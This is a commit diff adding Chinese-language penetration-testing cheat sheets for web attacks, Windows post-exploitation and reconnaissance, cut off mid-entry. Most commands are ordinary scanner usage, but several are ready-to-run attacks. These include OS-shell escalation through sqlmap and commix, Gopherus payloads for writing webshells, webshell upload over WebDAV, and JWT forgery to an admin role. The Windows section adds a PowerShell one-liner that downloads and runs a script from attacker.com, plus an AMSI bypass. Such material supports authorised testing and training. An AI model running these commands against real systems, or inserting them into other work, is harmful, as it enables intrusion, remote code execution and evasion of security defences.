reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
baradok609hecl1pq6qi
@@ -0,0 +1,662 @@
|
||||
# Web渗透
|
||||
|
||||
_16 条工具命令_
|
||||
|
||||
### SQLMap `sqlmap`
|
||||
_自动化SQL注入工具_
|
||||
|
||||
**Step 0**
|
||||
> 对URL进行SQL注入测试
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1"
|
||||
```
|
||||
**语法解析：**
|
||||
- `sqlmap` — SQLMap工具 _command_
|
||||
- `-u` — 指定目标URL _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 只测试指定的参数
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1&name=test" -p id
|
||||
```
|
||||
**语法解析：**
|
||||
- `-p` — 指定要测试的参数 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 测试POST请求
|
||||
```
|
||||
sqlmap -u "http://target.com/login" --data="user=admin&pass=123"
|
||||
```
|
||||
**语法解析：**
|
||||
- `--data=` — POST数据 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 使用Cookie进行认证
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=xxx"
|
||||
```
|
||||
**语法解析：**
|
||||
- `--cookie=` — 设置Cookie _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 指定后端数据库类型
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
|
||||
```
|
||||
**语法解析：**
|
||||
- `--dbms=` — 数据库类型(mysql,mssql,oracle等) _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 获取所有数据库名
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1" --dbs
|
||||
```
|
||||
**语法解析：**
|
||||
- `--dbs` — 枚举数据库 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 获取指定数据库的表
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
|
||||
```
|
||||
**语法解析：**
|
||||
- `-D` — 指定数据库 _parameter_
|
||||
- `--tables` — 枚举表 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 获取指定表的列
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1" -D db -T table --columns
|
||||
```
|
||||
**语法解析：**
|
||||
- `-T` — 指定表 _parameter_
|
||||
- `--columns` — 枚举列 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 提取指定列的数据
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1" -D db -T table -C col1,col2 --dump
|
||||
```
|
||||
**语法解析：**
|
||||
- `-C` — 指定列 _parameter_
|
||||
- `--dump` — 提取数据 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 尝试获取操作系统Shell
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1" --os-shell
|
||||
```
|
||||
**语法解析：**
|
||||
- `--os-shell` — 获取OS交互式Shell _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 通过代理发送请求
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080"
|
||||
```
|
||||
**语法解析：**
|
||||
- `--proxy=` — 设置代理服务器 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 指定注入技术类型
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1" --technique=BEUST
|
||||
```
|
||||
**语法解析：**
|
||||
- `--technique=` — B=布尔盲注,E=报错注入,U=联合查询,S=堆叠,T=时间盲注 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 设置扫描级别和风险等级
|
||||
```
|
||||
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
|
||||
```
|
||||
**语法解析：**
|
||||
- `--level=` — 扫描级别(1-5)，越高越全面 _parameter_
|
||||
- `--risk=` — 风险等级(1-3)，越高越危险 _parameter_
|
||||
|
||||
---
|
||||
|
||||
### Burp Suite `burpsuite`
|
||||
_Web安全测试平台_
|
||||
|
||||
**Step 0**
|
||||
> 配置代理监听
|
||||
```
|
||||
Proxy -> Options -> Proxy Listeners -> Add -> Port 8080
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 开启请求拦截
|
||||
```
|
||||
Proxy -> Intercept -> Intercept is on
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 发送请求到Repeater
|
||||
```
|
||||
右键 -> Send to Repeater (Ctrl+R)
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 发送请求到Intruder
|
||||
```
|
||||
右键 -> Send to Intruder (Ctrl+I)
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 四种攻击类型说明
|
||||
```
|
||||
Sniper: 单个payload
|
||||
Battering ram: 同一payload
|
||||
Pitchfork: 多个payload并行
|
||||
Cluster bomb: 多个payload组合
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启动主动扫描
|
||||
```
|
||||
Dashboard -> New Scan -> 选择目标URL
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 安装BApp插件
|
||||
```
|
||||
Extender -> BApp Store -> 选择插件 -> Install
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 复制请求内容
|
||||
```
|
||||
右键 -> Copy to clipboard -> Request
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### FFUF `ffuf`
|
||||
_快速Web模糊测试工具_
|
||||
|
||||
**Step 0**
|
||||
> 基础目录爆破
|
||||
_platform: linux_
|
||||
```
|
||||
ffuf -u http://target.com/FUZZ -w wordlist.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 添加文件扩展名
|
||||
_platform: linux_
|
||||
```
|
||||
ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> GET参数测试
|
||||
_platform: linux_
|
||||
```
|
||||
ffuf -u http://target.com/?param=FUZZ -w wordlist.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> POST数据测试
|
||||
_platform: linux_
|
||||
```
|
||||
ffuf -u http://target.com -X POST -d "user=FUZZ&pass=test" -w wordlist.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Host头测试
|
||||
_platform: linux_
|
||||
```
|
||||
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w wordlist.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 匹配特定状态码
|
||||
_platform: linux_
|
||||
```
|
||||
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 过滤特定响应大小
|
||||
_platform: linux_
|
||||
```
|
||||
ffuf -u http://target.com/FUZZ -w wordlist.txt -fs 1234
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 递归目录扫描
|
||||
_platform: linux_
|
||||
```
|
||||
ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### WFuzz `wfuzz-tool`
|
||||
_Web模糊测试工具_
|
||||
|
||||
**Step 0**
|
||||
> 基础目录爆破
|
||||
_platform: linux_
|
||||
```
|
||||
wfuzz -c -w wordlist.txt http://target.com/FUZZ
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 过滤404响应
|
||||
_platform: linux_
|
||||
```
|
||||
wfuzz -c -w wordlist.txt --hc 404 http://target.com/FUZZ
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> POST数据测试
|
||||
_platform: linux_
|
||||
```
|
||||
wfuzz -c -w wordlist.txt -d "user=FUZZ&pass=test" http://target.com/login
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Cookie模糊测试
|
||||
_platform: linux_
|
||||
```
|
||||
wfuzz -c -w wordlist.txt -b "session=FUZZ" http://target.com/
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Host头测试
|
||||
_platform: linux_
|
||||
```
|
||||
wfuzz -c -w wordlist.txt -H "Host: FUZZ.target.com" http://target.com/
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 递归扫描
|
||||
_platform: linux_
|
||||
```
|
||||
wfuzz -c -w wordlist.txt -R 2 http://target.com/FUZZ
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Nikto `nikto`
|
||||
_Web服务器漏洞扫描器，检测危险文件、过时组件和配置问题_
|
||||
|
||||
**Step 0**
|
||||
> 对目标进行全面Web漏洞扫描
|
||||
```
|
||||
nikto -h https://target.com
|
||||
```
|
||||
**语法解析：**
|
||||
- `nikto` — Web服务器漏洞扫描器 _command_
|
||||
- `-h` — 目标主机 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 扫描HTTPS服务
|
||||
```
|
||||
nikto -h target.com -p 8443 -ssl
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过Burp代理进行扫描
|
||||
```
|
||||
nikto -h target.com -useproxy http://127.0.0.1:8080
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 仅运行指定的测试插件
|
||||
```
|
||||
nikto -h target.com -Plugins "apache_expect_xss;outdated"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 输出HTML格式报告
|
||||
```
|
||||
nikto -h target.com -o report.html -Format htm
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### OWASP ZAP `zap`
|
||||
_OWASP官方Web应用安全测试平台_
|
||||
|
||||
**Step 0**
|
||||
> 快速自动化漏洞扫描
|
||||
```
|
||||
zap-cli quick-scan -s all -r https://target.com
|
||||
# 或使用API
|
||||
curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 根据OpenAPI规范扫描API
|
||||
```
|
||||
zap-api-scan.py -t https://target.com/api/swagger.json -f openapi
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 代理模式被动扫描
|
||||
```
|
||||
# 配置ZAP为代理(默认8080端口)
|
||||
# 浏览器配置代理后正常浏览
|
||||
# ZAP自动进行被动漏洞检测
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用Docker容器化运行基线扫描
|
||||
```
|
||||
docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Arjun `arjun`
|
||||
_HTTP参数发现工具，发现隐藏的GET/POST参数_
|
||||
|
||||
**Step 0**
|
||||
> 发现隐藏的GET参数
|
||||
```
|
||||
arjun -u https://target.com/page
|
||||
```
|
||||
**语法解析：**
|
||||
- `arjun` — HTTP参数发现工具 _command_
|
||||
- `-u` — 目标URL _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 发现POST请求的隐藏参数
|
||||
```
|
||||
arjun -u https://target.com/api -m POST --include="Content-Type: application/json"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用自定义参数字典
|
||||
```
|
||||
arjun -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 批量扫描多个URL，稳定模式
|
||||
```
|
||||
arjun -i urls.txt -o results.json --stable
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### WFuzz `wfuzz`
|
||||
_Web应用模糊测试工具，用于暴力破解参数、目录、认证等_
|
||||
|
||||
**Step 0**
|
||||
> 目录暴力破解，隐藏404
|
||||
```
|
||||
wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ
|
||||
```
|
||||
**语法解析：**
|
||||
- `-c` — 彩色输出 _parameter_
|
||||
- `-z file,wordlist` — 指定字典文件作为payload _parameter_
|
||||
- `--hc 404` — 隐藏404响应 _parameter_
|
||||
- `FUZZ` — Payload注入点占位符 _variable_
|
||||
|
||||
**Step 0**
|
||||
> 参数名Fuzz，隐藏空响应
|
||||
```
|
||||
wfuzz -c -z file,params.txt --hh 0 "https://target.com/api?FUZZ=test"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 双字典组合爆破登录
|
||||
```
|
||||
wfuzz -c -z file,users.txt -z file,passwords.txt --hc 403 -d "user=FUZZ&pass=FUZ2Z" https://target.com/login
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Host头注入方式枚举子域名
|
||||
```
|
||||
wfuzz -c -z file,subs.txt --hc 404 -H "Host: FUZZ.target.com" https://target.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Commix `commix`
|
||||
_自动化命令注入漏洞检测和利用工具_
|
||||
|
||||
**Step 0**
|
||||
> 自动检测命令注入点
|
||||
```
|
||||
commix --url="https://target.com/page?cmd=test"
|
||||
```
|
||||
**语法解析：**
|
||||
- `commix` — 命令注入自动化工具 _command_
|
||||
- `--url` — 目标URL(参数中含注入点) _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 指定POST参数进行注入测试
|
||||
```
|
||||
commix --url="https://target.com/api" --data="host=INJECT_HERE" -p host
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 执行系统命令或获取交互式Shell
|
||||
```
|
||||
commix --url="https://target.com/page?ip=test" --os-cmd="id"
|
||||
commix --url="https://target.com/page?ip=test" --os-shell
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用编码绕过和时间盲注技术
|
||||
```
|
||||
commix --url="https://target.com/page?cmd=test" --tamper=base64encode --technique=t
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Dalfox `dalfox`
|
||||
_基于Go的高性能XSS漏洞扫描和参数分析工具_
|
||||
|
||||
**Step 0**
|
||||
> 扫描单个URL的XSS漏洞
|
||||
```
|
||||
dalfox url "https://target.com/search?q=test"
|
||||
```
|
||||
**语法解析：**
|
||||
- `dalfox` — XSS漏洞扫描工具 _command_
|
||||
- `url` — 单URL扫描模式 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 批量扫描，仅输出POC
|
||||
```
|
||||
cat urls.txt | dalfox pipe --silence --only-poc
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用自定义Payload并启用WAF绕过
|
||||
```
|
||||
dalfox url "https://target.com/q=test" --custom-payload payloads.txt --waf-evasion
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用Blind XSS回调检测
|
||||
```
|
||||
dalfox url "https://target.com/q=test" --blind https://your-xss-hunter.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### XSStrike `xsstrike`
|
||||
_高级XSS检测工具，支持反射/存储/DOM型XSS检测_
|
||||
|
||||
**Step 0**
|
||||
> 扫描反射型XSS
|
||||
```
|
||||
python3 xsstrike.py -u "https://target.com/search?q=test"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 测试POST参数的XSS
|
||||
```
|
||||
python3 xsstrike.py -u "https://target.com/comment" --data "content=test" --method POST
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用模糊测试模式发现过滤规则
|
||||
```
|
||||
python3 xsstrike.py -u "https://target.com/q=test" --fuzzer
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 爬取3层深度的所有页面并测试XSS
|
||||
```
|
||||
python3 xsstrike.py -u "https://target.com" --crawl -l 3
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Gopherus `gopherus`
|
||||
_生成Gopher协议Payload，用于SSRF攻击内部服务_
|
||||
|
||||
**Step 0**
|
||||
> 生成攻击MySQL的Gopher Payload
|
||||
```
|
||||
python2 gopherus.py --exploit mysql
|
||||
# 输入SQL查询语句后生成gopher://payload
|
||||
```
|
||||
**语法解析：**
|
||||
- `--exploit mysql` — 指定目标服务类型 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 生成攻击Redis的Gopher Payload
|
||||
```
|
||||
python2 gopherus.py --exploit redis
|
||||
# 可生成写入webshell/计划任务/SSH密钥等payload
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 生成攻击PHP-FPM/FastCGI的Payload
|
||||
```
|
||||
python2 gopherus.py --exploit fastcgi
|
||||
# 输入要执行的命令
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 生成通过SMTP发送邮件的Payload
|
||||
```
|
||||
python2 gopherus.py --exploit smtp
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Smuggler `smuggler`
|
||||
_HTTP请求走私漏洞检测工具_
|
||||
|
||||
**Step 0**
|
||||
> 自动检测HTTP请求走私漏洞
|
||||
```
|
||||
python3 smuggler.py -u https://target.com
|
||||
```
|
||||
**语法解析：**
|
||||
- `smuggler.py` — HTTP走私检测脚本 _command_
|
||||
|
||||
**Step 0**
|
||||
> 测试CL.TE类型的请求走私
|
||||
```
|
||||
python3 smuggler.py -u https://target.com -t CL.TE
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 从标准输入读取URL批量测试
|
||||
```
|
||||
cat urls.txt | python3 smuggler.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### JWT Tool `jwt-tool`
|
||||
_JSON Web Token安全测试工具，支持伪造/破解/注入_
|
||||
|
||||
**Step 0**
|
||||
> 解析并显示JWT的Header和Payload
|
||||
```
|
||||
jwt_tool eyJhbGciOi...
|
||||
```
|
||||
**语法解析：**
|
||||
- `jwt_tool` — JWT安全测试工具 _command_
|
||||
|
||||
**Step 0**
|
||||
> 自动尝试所有已知JWT攻击
|
||||
```
|
||||
jwt_tool -t https://target.com/api -rh "Authorization: Bearer eyJ..." -M at
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 尝试将算法改为none绕过验证
|
||||
```
|
||||
jwt_tool eyJhbGciOi... -X a
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 暴力破解HMAC密钥
|
||||
```
|
||||
jwt_tool eyJhbGciOi... -C -d /usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用已知密钥伪造Token，修改角色为admin
|
||||
```
|
||||
jwt_tool eyJhbGciOi... -S hs256 -p "secret_key" -I -pc role -pv admin
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### GraphQLmap `graphqlmap`
|
||||
_GraphQL API渗透测试工具，支持自省查询和注入_
|
||||
|
||||
**Step 0**
|
||||
> 通过自省查询导出完整Schema
|
||||
```
|
||||
python3 graphqlmap.py -u https://target.com/graphql --method POST -x dump_schema
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 枚举所有可用的Query/Mutation字段
|
||||
```
|
||||
python3 graphqlmap.py -u https://target.com/graphql --method POST -x enum
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 测试GraphQL参数的注入漏洞
|
||||
```
|
||||
python3 graphqlmap.py -u https://target.com/graphql --method POST -x nosqli
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Cadaver `cadaver`
|
||||
_WebDAV客户端工具，用于测试WebDAV服务_
|
||||
|
||||
**Step 0**
|
||||
> 连接到WebDAV服务器
|
||||
_platform: linux_
|
||||
```
|
||||
cadaver https://target.com/webdav/
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 上传Webshell或文件到WebDAV目录
|
||||
_platform: linux_
|
||||
```
|
||||
# 在cadaver交互式Shell中:
|
||||
put shell.aspx
|
||||
mput *.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 列出目录内容并下载文件
|
||||
_platform: linux_
|
||||
```
|
||||
# cadaver Shell:
|
||||
ls
|
||||
get config.xml
|
||||
mget *.bak
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,100 @@
|
||||
# Windows渗透
|
||||
|
||||
_1 条工具命令_
|
||||
|
||||
### PowerShell渗透命令 `powershell-pentest`
|
||||
_PowerShell渗透测试常用命令_
|
||||
|
||||
**Step 0**
|
||||
> 绕过执行策略运行脚本
|
||||
_platform: windows_
|
||||
```
|
||||
powershell -ExecutionPolicy Bypass -File script.ps1
|
||||
```
|
||||
**语法解析：**
|
||||
- `-ExecutionPolicy Bypass` — 绕过执行策略 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 从远程下载并执行脚本
|
||||
_platform: windows_
|
||||
```
|
||||
IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/script.ps1")
|
||||
```
|
||||
**语法解析：**
|
||||
- `IEX` — Invoke-Expression，执行字符串 _command_
|
||||
- `Net.WebClient` — Web客户端类 _value_
|
||||
- `DownloadString` — 下载字符串内容 _value_
|
||||
|
||||
**Step 0**
|
||||
> 使用Base64编码执行命令
|
||||
_platform: windows_
|
||||
```
|
||||
powershell -EncodedCommand BASE64_ENCODED_COMMAND
|
||||
```
|
||||
**语法解析：**
|
||||
- `-EncodedCommand` — Base64编码的命令 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 获取系统信息
|
||||
_platform: windows_
|
||||
```
|
||||
Get-ComputerInfo
|
||||
systeminfo
|
||||
Get-WmiObject -Class Win32_OperatingSystem
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取运行进程
|
||||
_platform: windows_
|
||||
```
|
||||
Get-Process | Select-Object Name,Id,Path
|
||||
Get-WmiObject Win32_Process | Select-Object Name,ProcessId,CommandLine
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取服务信息
|
||||
_platform: windows_
|
||||
```
|
||||
Get-Service | Where-Object {$_.Status -eq "Running"}
|
||||
Get-WmiObject Win32_Service | Select-Object Name,State,StartName
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取网络连接
|
||||
_platform: windows_
|
||||
```
|
||||
Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,OwningProcess
|
||||
netstat -ano
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取用户信息
|
||||
_platform: windows_
|
||||
```
|
||||
Get-LocalUser
|
||||
net user
|
||||
net localgroup administrators
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 简单端口扫描
|
||||
_platform: windows_
|
||||
```
|
||||
1..1024 | % {Test-NetConnection -Port $_ -ComputerName target_ip}
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 搜索敏感文件
|
||||
_platform: windows_
|
||||
```
|
||||
Get-ChildItem -Path C:\ -Include *.txt,*.doc,*.xls -Recurse -ErrorAction SilentlyContinue
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 绕过AMSI检测
|
||||
_platform: windows_
|
||||
```
|
||||
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,852 @@
|
||||
# 信息收集
|
||||
|
||||
_20 条工具命令_
|
||||
|
||||
### Nmap `nmap`
|
||||
_网络扫描和安全审计工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用TCP连接方式进行端口扫描
|
||||
```
|
||||
nmap -sT target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `nmap` — Nmap扫描工具 _command_
|
||||
- `-sT` — TCP连接扫描模式 _parameter_
|
||||
- `target_ip` — 目标IP地址 _value_
|
||||
|
||||
**Step 0**
|
||||
> 使用SYN包进行隐蔽扫描，需要root权限
|
||||
_platform: linux_
|
||||
```
|
||||
nmap -sS target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `-sS` — SYN扫描(半开扫描)，更隐蔽 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 扫描UDP端口
|
||||
```
|
||||
nmap -sU target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `-sU` — UDP扫描模式 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 探测开放端口的服务版本信息
|
||||
```
|
||||
nmap -sV target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `-sV` — 服务版本探测 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 尝试识别目标操作系统
|
||||
```
|
||||
nmap -O target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `-O` — 操作系统探测 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 启用高级功能进行全面扫描
|
||||
```
|
||||
nmap -A target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `-A` — 启用OS检测、版本检测、脚本扫描和traceroute _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 只扫描指定的端口
|
||||
```
|
||||
nmap -p 22,80,443 target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `-p` — 指定端口 _parameter_
|
||||
- `22,80,443` — 端口号列表 _value_
|
||||
|
||||
**Step 0**
|
||||
> 扫描指定范围的端口
|
||||
```
|
||||
nmap -p 1-1000 target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `1-1000` — 端口范围 _value_
|
||||
|
||||
**Step 0**
|
||||
> 使用Nmap脚本引擎进行漏洞扫描
|
||||
```
|
||||
nmap --script=vuln target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `--script=` — 指定Nmap脚本 _parameter_
|
||||
- `vuln` — 漏洞检测脚本类别 _value_
|
||||
|
||||
**Step 0**
|
||||
> 扫描SMB共享和用户信息
|
||||
```
|
||||
nmap --script=smb-enum-shares,smb-enum-users target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> HTTP服务漏洞扫描
|
||||
```
|
||||
nmap --script=http-enum,http-vuln* -p 80,443 target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 快速扫描，只扫描常用端口
|
||||
```
|
||||
nmap -F target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `-F` — 快速模式，扫描常用100个端口 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 扫描整个网段
|
||||
```
|
||||
nmap 192.168.1.0/24
|
||||
```
|
||||
**语法解析：**
|
||||
- `192.168.1.0/24` — CIDR格式的网段 _value_
|
||||
|
||||
**Step 0**
|
||||
> 将扫描结果保存到文件
|
||||
```
|
||||
nmap -oN output.txt target_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `-oN` — 普通格式输出 _parameter_
|
||||
- `-oX` — XML格式输出 _parameter_
|
||||
- `-oG` — Grepable格式输出 _parameter_
|
||||
|
||||
---
|
||||
|
||||
### Gobuster `gobuster`
|
||||
_目录和子域名爆破工具_
|
||||
|
||||
**Step 0**
|
||||
> 爆破网站目录
|
||||
_platform: linux_
|
||||
```
|
||||
gobuster dir -u http://target.com -w wordlist.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `gobuster` — Gobuster工具 _command_
|
||||
- `dir` — 目录爆破模式 _value_
|
||||
- `-u` — 目标URL _parameter_
|
||||
- `-w` — 字典文件 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 指定文件扩展名
|
||||
_platform: linux_
|
||||
```
|
||||
gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `-x` — 文件扩展名 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 爆破子域名
|
||||
_platform: linux_
|
||||
```
|
||||
gobuster dns -d target.com -w subdomains.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `dns` — DNS爆破模式 _value_
|
||||
- `-d` — 目标域名 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 使用Cookie认证
|
||||
_platform: linux_
|
||||
```
|
||||
gobuster dir -u http://target.com -w wordlist.txt -c "PHPSESSID=xxx"
|
||||
```
|
||||
**语法解析：**
|
||||
- `-c` — 设置Cookie _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 添加自定义Header
|
||||
_platform: linux_
|
||||
```
|
||||
gobuster dir -u http://target.com -w wordlist.txt -H "Authorization: Bearer token"
|
||||
```
|
||||
**语法解析：**
|
||||
- `-H` — 添加Header _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 设置线程数
|
||||
_platform: linux_
|
||||
```
|
||||
gobuster dir -u http://target.com -w wordlist.txt -t 50
|
||||
```
|
||||
**语法解析：**
|
||||
- `-t` — 线程数 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 忽略特定状态码
|
||||
_platform: linux_
|
||||
```
|
||||
gobuster dir -u http://target.com -w wordlist.txt -b 404,403
|
||||
```
|
||||
**语法解析：**
|
||||
- `-b` — 黑名单状态码 _parameter_
|
||||
|
||||
---
|
||||
|
||||
### Nuclei `nuclei`
|
||||
_快速漏洞扫描工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用所有模板扫描
|
||||
_platform: linux_
|
||||
```
|
||||
nuclei -u http://target.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用CVE模板
|
||||
_platform: linux_
|
||||
```
|
||||
nuclei -u http://target.com -t cves/
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定漏洞严重级别
|
||||
_platform: linux_
|
||||
```
|
||||
nuclei -u http://target.com -severity critical,high
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 从文件读取目标
|
||||
_platform: linux_
|
||||
```
|
||||
nuclei -l urls.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 更新模板库
|
||||
_platform: linux_
|
||||
```
|
||||
nuclei -update-templates
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 保存扫描结果
|
||||
_platform: linux_
|
||||
```
|
||||
nuclei -u http://target.com -o results.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> JSON格式输出
|
||||
_platform: linux_
|
||||
```
|
||||
nuclei -u http://target.com -json -o results.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Seatbelt `seatbelt-tool`
|
||||
_Windows安全信息收集工具_
|
||||
|
||||
**Step 0**
|
||||
> 收集所有信息
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=all
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 收集系统信息
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=system
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 收集用户信息
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=user
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 收集安全配置
|
